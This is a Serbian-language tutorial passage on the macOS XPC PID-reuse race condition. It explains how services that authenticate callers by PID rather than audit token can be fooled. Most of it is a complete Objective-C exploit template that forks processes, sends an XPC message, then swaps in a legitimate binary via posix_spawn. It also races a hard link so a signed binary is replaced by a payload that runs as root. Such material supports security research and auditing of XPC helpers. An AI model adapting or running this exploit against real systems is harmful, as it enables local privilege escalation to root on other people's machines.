Kada macOS XPC servis proverava pozvani proces na osnovu PID-a a ne na osnovu audit tokena, podložan je napadu ponovne upotrebe PID-a. Ovaj napad se zasniva na trci stanja gde će eksploit slati poruke XPC servisu zloupotrebljavajući funkcionalnost i odmah nakon toga izvršiti posix_spawn(NULL, ciljni_binarni_fajl, NULL, &attr, ciljni_argv, environ) sa dozvoljenim binarnim fajlom.
Ova funkcija će učiniti da dozvoljeni binarni fajl preuzme PID ali će zlonamerna XPC poruka biti poslata upravo pre toga. Dakle, ako XPC servis koristi PID za autentifikaciju pošiljaoca i proverava ga POSLE izvršenja posix_spawn, misliće da dolazi od ovlašćenog procesa.
Primer eksploatacije
Ako pronađete funkciju shouldAcceptNewConnection ili funkciju koju poziva pozivajućiprocessIdentifier a ne poziva auditToken. Visoko je verovatno da proverava PID procesa a ne audit token.
Na primer, kao što je prikazano na ovoj slici (preuzeto iz reference):
Proverite ovaj primer eksploatacije (ponovo, preuzet iz reference) da biste videli 2 dela eksploatacije:
Jedan koji generiše nekoliko forkova
Svaki fork će poslatipayload XPC servisu dok izvršava posix_spawn odmah nakon slanja poruke.
Da bi eksploatacija radila važno je export`` ``OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES ili staviti unutar eksploatacije:
Ovaj primer koristi sirovi fork da pokrene procese koji će iskoristiti trku PID-a a zatim iskoristiti još jednu trku uslov preko tvrde veze:
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl
#include <Foundation/Foundation.h>
#include <spawn.h>
#include <pthread.h>
// TODO: CHANGE PROTOCOL AND FUNCTIONS
@protocol HelperProtocol
- (void)DoSomething:(void (^)(_Bool))arg1;
@end
// Global flag to track exploitation status
bool pwned = false;
/**
* Continuously overwrite the contents of the 'hard_link' file in a race condition to make the
* XPC service verify the legit binary and then execute as root out payload.
*/
void *check_race(void *arg) {
while(!pwned) {
// Overwrite with contents of the legit binary
system("cat ./legit_bin > hard_link");
usleep(50000);
// Overwrite with contents of the payload to execute
// TODO: COMPILE YOUR OWN PAYLOAD BIN
system("cat ./payload > hard_link");
usleep(50000);
}
return NULL;
}
void child_xpc_pid_rc_abuse(){
// TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION
#define kValid "./Legit Updater.app/Contents/MacOS/Legit"
extern char **environ;
// Connect with XPC service
// TODO: CHANGE THE ID OF THE XPC TO EXPLOIT
NSString* service_name = @"com.example.Helper";
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
// TODO: CNAGE THE PROTOCOL NAME
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
NSLog(@"[-] Something went wrong");
NSLog(@"[-] Error: %@", error);
}];
NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", connection);
// Call vulenrable XPC function
// TODO: CHANEG NAME OF FUNCTION TO CALL
[obj DoSomething:^(_Bool b){
NSLog(@"Response, %hdd", b);
}];
// Change current process to the legit binary suspended
char target_binary[] = kValid;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
/**
* Function to perform the PID race condition using children calling the XPC exploit.
*/
void xpc_pid_rc_abuse() {
#define RACE_COUNT 1
extern char **environ;
int pids[RACE_COUNT];
// Fork child processes to exploit
for (int i = 0; i < RACE_COUNT; i++) {
int pid = fork();
if (pid == 0) { // If a child process
child_xpc_pid_rc_abuse();
}
printf("forked %d\n", pid);
pids[i] = pid;
}
// Wait for children to finish their tasks
sleep(3);
// Terminate child processes
for (int i = 0; i < RACE_COUNT; i++) {
if (pids[i]) {
kill(pids[i], 9);
}
}
}
int main(int argc, const char * argv[]) {
// Create and set execution rights to 'hard_link' file
system("touch hard_link");
system("chmod +x hard_link");
// Create thread to exploit sign verification RC
pthread_t thread;
pthread_create(&thread, NULL, check_race, NULL);
while(!pwned) {
// Try creating 'download' directory, ignore errors
system("mkdir download 2>/dev/null");
// Create a hardlink
// TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC
system("ln hard_link download/legit_bin");
xpc_pid_rc_abuse();
usleep(10000);
// The payload will generate this file if exploitation is successfull
if (access("/tmp/pwned", F_OK ) == 0) {
pwned = true;
}
}
return 0;
}
